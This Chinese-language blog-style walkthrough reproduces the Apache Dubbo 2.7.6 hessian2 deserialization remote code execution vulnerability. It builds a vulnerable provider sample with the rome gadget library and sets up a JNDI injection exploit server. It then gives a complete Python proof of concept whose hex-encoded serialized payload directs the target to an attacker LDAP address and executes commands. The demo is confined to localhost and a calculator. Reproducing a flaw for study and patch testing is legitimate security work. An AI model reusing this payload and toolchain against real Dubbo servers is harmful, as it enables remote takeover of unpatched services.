Apache Dubbo是一种基于Java的高性能RPC框架。该项目于2011年开源,并于2018年2月进入Apache孵化器,目前已经成为了广大开发者最常使用的微服务框架之一。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。

运行Provider Sample环境

dubbo-spring-boot-project代码下载到本地,

1
2
3
4
git clone https://github.com/apache/dubbo-spring-boot-project.git

git checkout 2.7.6
#拉取受漏洞影响版本的代码

构建provider-sample项目

  • 打开dubbo-spring-boot-project/dubbo-spring-boot-samples/auto-configure-samples/provider-sample项目
  • 修改pom.xml,在dependencies中加入rome模块,此模块用于反序列化漏洞构造触发远程代码执行的利用链:
1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
  • Maven install构建项目

构建成功

如果构建失败,并出现如下报错:

1
Failed to collect dependencies at org.apache.dubbo.samples:dubbo-spring-boot-sample-api:jar:2.7.6

则可能需要手动构建dubbo-spring-boot-sample-api的jar包

手动构建dubbo-spring-boot-sample-api库

  • 打开dubbo-spring-boot-project/dubbo-spring-boot-samples/sample-api项目,maven install构建,生成dubbo-spring-boot-sample-api-2.7.6.jar包文件。

  • 重新打开provider-sample项目,修改pom.xml中的dubbo-spring-boot-sample-api dependency如下,增加scope和systemPath标签,导入本地生成的dubbo-spring-boot-sample-api-2.7.6.jar包:

    1
    2
    3
    4
    5
    6
    7
    <dependency>
    <groupId>org.apache.dubbo.samples</groupId>
    <artifactId>dubbo-spring-boot-sample-api</artifactId>
    <version>${revision}</version>
    <scope>system</scope>
    <systemPath>/XXX/dubbo-spring-boot-sample-api-2.7.6.jar</systemPath>
    </dependency>
  • 重新maven install构建provider-sample项目

启动provider-sample服务

构建完成后,启动provider-samples

启动provider

成功启动后,服务会监听0.0.0.0:12345,等待请求连接。

启动JNDI命令注入工具服务

  • JNDI-Injection-Exploit代码下载到本地:

    1
    git clone https://github.com/sayers522/JNDI-Injection-Exploit.git
  • 编译构建Maven项目,生成JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar包

  • 运行JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,命令如下:

    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

    -C参数可自定义要执行的命令,-A参数指定要绑定监听的地址,例如:

    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

    运行JNDI-Injection-Exploit

  • 当有客户端以rmi或ldap协议访问上述url时,就会在客户端触发“open /System/Applications/Calculator.app”的命令执行。

触发Dubbo Provider反序列化

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))

def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)

run("127.0.0.1",12345)

其中payload部分内容如下:

payload

包含了一个恶意的序列化对象,构造了一个利用rome模块最终访问ldap://127.0.0.1:1389/Exploit的恶意利用链,结合前面的JNDI注入利用工具服务,就可以通过反序列化漏洞实现远程命令执行了。

利用效果如下:

利用效果